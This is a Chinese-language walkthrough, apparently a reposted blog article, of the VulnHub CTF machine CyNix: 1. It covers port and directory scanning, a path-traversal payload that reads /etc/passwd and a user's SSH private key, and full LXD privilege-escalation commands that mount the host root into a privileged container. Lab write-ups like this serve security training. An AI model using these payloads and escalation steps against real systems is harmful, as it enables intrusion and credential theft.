VulnHub靶机实战:CyNix: 1
2022-2-5 09:30:0 Author: mp.weixin.qq.com(查看原文) 阅读量:19 收藏

文章来源 :疯猫网络

Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行。每个镜像会有破解的目标,大多是Boot2root,从启动虚机到获取操作系统的root权限和查看flag。

靶机名称:CyNix: 1

所属系列:CyNix

发布日期:2019年11月18日

难度:中等

目标:共有两个:User flag:user.txt、Root flag: root.txt

靶机地址:https://www.vulnhub.com/entry/cynix-1,394/#

IP地址类型说明
192.168.88.136靶机使用Vmware打开,网络连接方式设置为桥接,靶机自动获取IP,只能自己通过nmap探测靶机IP
192.168.88.157攻击者kali

端口扫描

首先使用nmap 扫描端口信息

命令:nmap -v -T4 -p- 192.168.88.110

扫描结果如下:

发现只开了80和6688(ssh),抱着试试的心态拿出hydra疯狂爆破一波,发现没有什么卵用。还是老老实实从web下手吧;

打开浏览器访问一下80,发现存在一个Apache的默认页面

目录扫描

这里使用的kali里面的DIRB和御剑,用dirb默认的字典只扫出来了两个页面index和server-status(server-status还是一个经典的403 Forbidden);

命令:dirb  http://192.168.88.136/

dirb扫描结果如下:

初恋版御剑扫描结果如下:

显然还存在其他页面,所以我尝试更换不同的字典,更换了几个字典之后终于出现了一个新的面孔,扫出来一个名为/lavalamp/的目录,事实证明:扫描目录,字典真的很重要~

漏洞发现

访问该目录之后出现了一个标题为Site is Still Under Development的页面但是功能按钮几乎都不能使用,功能都未实现;

浏览一圈发现只有一个CONTACT US可以使用,可以正常提交相关信息

通过提交信息,burp抓包发现会把信息提交给一个canyoubypassme.php页面

访问之后映入眼帘的是一张黑阔帝国的剧照(密集恐惧症者需慎重)

http://192.168.88.136/lavalamp/canyoubypassme.php

看着就一张图片,翻了翻源码发现了一个有趣的css属性:opacity(透明度),而且值还是0.0,把这个table隐藏了。

把透明度属性值调整为1.0之后,出现一个输入框与提交按钮

随便输入一些字符发现没有任何反应,只出现一个黑色框框,只有输入域名的时候会显示出来html代码

打开burp进行抓包测试,发现总共有两个值file和read,测试之后发现read的值好像不影响,所以重心放在了file上,当值为:http://2130706433/、http://127.0.0.1/、http://localhost/其实任意一个的时候都会提示:“I'm watching you. Trying to access Localhost?”,所以好像127这里不太好用;

测试一波发现当file值为:“http://192.168.88.136/”的时候,会提示:“Hmmm, trying an IP? Haha, Try harder ;)”,只有file值为:“http://3232258184/”的时候才不会提示,但是在尝试读取文件的时候发现也不太好使,读取不了文件;

PS:上面所提到的IP地址127.0.0.1和数字地址2130706433,其实这两个都是指127.0.0.1,只不过表现形式不太一样;

我这里用的是php代码实现的,代码如下:

<?php

header("Content-Type:text/html;charset=utf-8");

echo '127.0.0.1的数字地址为:'.ip2long("127.0.0.1");

echo "</br>";

echo '192.168.88.136的数字地址为:';

echo sprintf("%u\n",ip2long("192.168.88.136"));

?>

网上有在线转换平台,如:IP转数字在线工具:http://www.jsons.cn/ipnum/

漏洞利用

所以只能另辟蹊径,尝试直接读取文件,当file=../../../../../../etc/passwd提示不被允许

最后是在前面随便加上一个目录才绕过去,成功读取到了passwd文件

file=/test/../../../etc/passwd

这个passwd文件中有一个点比较重要:除了系统默认的之外,有一个名为ford UID为1000且可以登录的用户;结合前面扫描的端口6688(ssh),所以接下来的突破点应该在ssh和这个用户...

于是尝试去读取ford的相关文件,在/home/ford/.ssh/找到了公钥、私钥,并将私钥保存到本地;

/home/ford/.ssh/id_rsa和/home/ford/.ssh/id_rsa.pub

拿到秘钥之后准备尝试登录,打开本地的Xshell,输入命令:ssh  [email protected] 6688,用户身份验证方式选择“Public Key”,点击浏览选择上一步保存到本地的私钥文件,点击确定,登录成功;

User flag:user.txt

本次靶机的flag其中一个是User flag:user.txt,flag通常在用户的家目录或者网站根目录,切换用户家目录,执行ls命令,发现第一个flag:user.txt;

权限提升

拿到第一个flag之后开始进行提权,使用id命令显示用户的UID以及所属组的GID可以看到当前用户ford所属组中还有一个特殊的lxd组这个是提权的关键点;

想要提升为root权限,需要为LXD创建一个镜像文件,首先在本机的kali中,通过git将构建好的alpine镜像克隆至本地,然后执行名为“build -alpine”的脚本,构建最新版本的Alpine镜像,将构建好的tar文件发送到目标服务器上;

命令:

git clone  https://github.com/saghul/lxd-alpine-builder.git

cd lxd-alpine-builder

./build-alpine

完成上面操作之后会在当前目录下生成一个tar.gz镜像文件

然后把这个文件发送到目标服务器上,我这里使用的是python自带的简单的服务器程序,在kali上运行:

命令:python3 -m http.server 8888

开启之后,在目标靶机上使用wget命令将镜像下载到靶机上

命令:wget  http://192.168.88.157:888

8/alpine-v3.11-x86_64-20191226_0324.tar.gz

下载完成之后,需要把镜像挂载到lxd中,然后检查一下当前可用容器,配置完成之后进入容器,定位到/mnt/root即可查看目标主机设备的所有资源。运行了Bash之后,得到一个容器的shell。这个容器中包含了目标主机的全部资源,拥有该靶机的root权限,成功通过LXD提权;

命令:

lxc image import ./alpine-v3.11-x86_64-20191226_0324.tar.gz --alias myimage

lxc init myimage ignite -c security.privileged=true

lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true

lxc start ignite

lxc exec ignite /bin/sh

Root flag: root.txt

最后尝试搜索第二个Root flag: root.txt,在root家目录下,至此本次靶机的渗透就已经结束~~~

靶机导入vmware之后,网络适配器可以用NAT或者桥接都可以,但是需要自己去发现靶机IP,这个过程稍微比较麻烦;整个靶机渗透下来发现:前期进行目录扫描的时候很关键,多用几个扫描器,字典很重要,扫描到目录之后找到关键点,俗话说:简单的食材往往需要最高端的烹饪方式,最简单的页面可能就存在不简单的问题,其实在尝试绕过的时候我也是尝试了很久;最后就是提权,提权这个可能就需要心细和经验积累,如果之前没有遇到的话估计我也很难想到是LXD提权;

侵权请私聊公众号删文



文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650533012&idx=3&sn=15316c99da7bd90bc4303b15af69c6dd&chksm=83ba8970b4cd0066634190e6bcd51d847dc0920c5266bd9ea5b93e76f2cec5789067f8abc6d9#rd
如有侵权请联系:admin#unsafe.sh